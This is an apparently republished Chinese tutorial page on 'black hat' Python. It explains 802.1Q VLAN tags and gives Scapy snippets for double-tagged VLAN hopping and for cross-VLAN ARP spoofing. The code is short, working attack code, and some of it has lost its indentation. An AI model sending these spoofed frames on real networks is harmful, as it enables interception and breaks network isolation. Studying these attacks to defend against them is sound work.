Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
python实现监控linux性能及进程消耗性能的方法
Jul 25 Python
收藏整理的一些Python常用方法和技巧
May 18 Python
详解Python中的from..import绝对导入语句
Jun 21 Python
Python实现的人工神经网络算法示例【基于反向传播算法】
Nov 11 Python
Atom的python插件和常用插件说明
Jul 08 Python
python的xpath获取div标签内html内容,实现innerhtml功能的方法
Jan 02 Python
python初学者,用python实现基本的学生管理系统(python3)代码实例
Apr 10 Python
利用python实现逐步回归
Feb 24 Python
Python生成六万个随机,唯一的8位数字和数字组成的随机字符串实例
Mar 03 Python
Centos7下源码安装Python3 及shell 脚本自动安装Python3的教程
Mar 07 Python
python logging.info在终端没输出的解决
May 12 Python
Python OpenCV 图像平移的实现示例
Jun 04 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
php中将网址转换为超链接的函数
2011/09/02 PHP
Drupal读取Excel并导入数据库实例
2014/03/02 PHP
CentOS下与Apache连接的PHP多版本共存方案实现详解
2015/12/19 PHP
详解PHP如何更好的利用PHPstorm的自动提示
2017/08/18 PHP
PHP基于DateTime类解决Unix时间戳与日期互转问题【针对1970年前及2038年后时间戳】
2018/06/13 PHP
PHP swoole和redis异步任务实现方法分析
2019/08/12 PHP
一些常用的Javascript函数
2006/12/22 Javascript
jQuery学习3:操作元素属性和特性
2010/02/07 Javascript
jQuery-ui引入后Vs2008的无智能提示问题解决方法
2014/02/10 Javascript
jquery选择符快速提取web表单数据示例
2014/03/27 Javascript
IE6-IE9中tbody的innerHTML不能赋值的解决方法
2014/06/05 Javascript
BootStrop前端框架入门教程详解
2016/12/25 Javascript
angularjs实现简单的购物车功能
2017/09/21 Javascript
Bootstrap实现可折叠分组侧边导航菜单
2018/03/07 Javascript
微信小程序实现组件顶端固定或底端固定效果(不随滚动而滚动)
2020/04/09 Javascript
[03:36]2015国际邀请赛第二日现场精彩集锦
2015/08/06 DOTA
[55:42]VG vs VGJ.T 2018国际邀请赛淘汰赛BO1 8.21
2018/08/22 DOTA
Pycharm学习教程(7)虚拟机VM的配置教程
2017/05/04 Python
PyQt5每天必学之进度条效果
2018/04/19 Python
Python的几种主动结束程序方式
2019/11/22 Python
Python中logging日志库实例详解
2020/02/19 Python
Python3.7 读取音频根据文件名生成脚本的代码
2020/04/07 Python
python爬取豆瓣电影排行榜(requests)的示例代码
2021/02/18 Python
css3的过滤效果简单实例
2016/08/03 HTML / CSS
Gucci法国官方网站:意大利奢侈品牌
2018/07/25 全球购物
Linux的文件类型
2016/07/05 面试题
物流经理自我评价
2013/09/23 职场文书
住宅质量保证书
2014/04/29 职场文书
法制宣传日活动总结
2014/04/29 职场文书
七年级上册语文教学计划
2015/01/22 职场文书
社区环境卫生倡议书
2015/04/29 职场文书
家庭暴力离婚起诉书
2015/05/18 职场文书
成绩单家长意见
2015/06/03 职场文书
Windows下用Nginx配置https服务器及反向代理的问题
2021/09/25 Servers
python神经网络 使用Keras构建RNN训练
2022/05/04 Python
TS 类型收窄教程示例详解
2022/09/23 Javascript